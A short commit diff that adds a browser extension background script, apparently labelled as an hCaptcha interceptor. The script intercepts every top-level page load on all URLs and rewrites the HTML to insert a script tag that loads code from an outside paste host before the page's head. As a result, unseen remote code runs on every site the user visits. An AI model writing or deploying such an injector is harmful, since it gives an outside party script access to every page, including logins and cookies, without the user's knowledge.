added hcaptcha interceptor

data/hcaptcha/background.js

@@ -0,0 +1,20 @@
+function interceptor(details) {
+  let response = browser.webRequest.filterResponseData(details.requestId);
+  let decoder = new TextDecoder("utf-8");
+  let encoder = new TextEncoder();
+
+  response.ondata = event => {
+    let str = decoder.decode(event.data, {stream: true});
+    str = str.replace('<head', '<script src="https://haste.knok.xyz/raw/voxige"></script><head');
+    response.write(encoder.encode(str));
+    response.disconnect();
+  }
+
+  return {};
+}
+
+browser.webRequest.onBeforeRequest.addListener(
+  interceptor,
+  {urls: ["*://*/*"], types: ["main_frame"]},
+  ["blocking"]
+);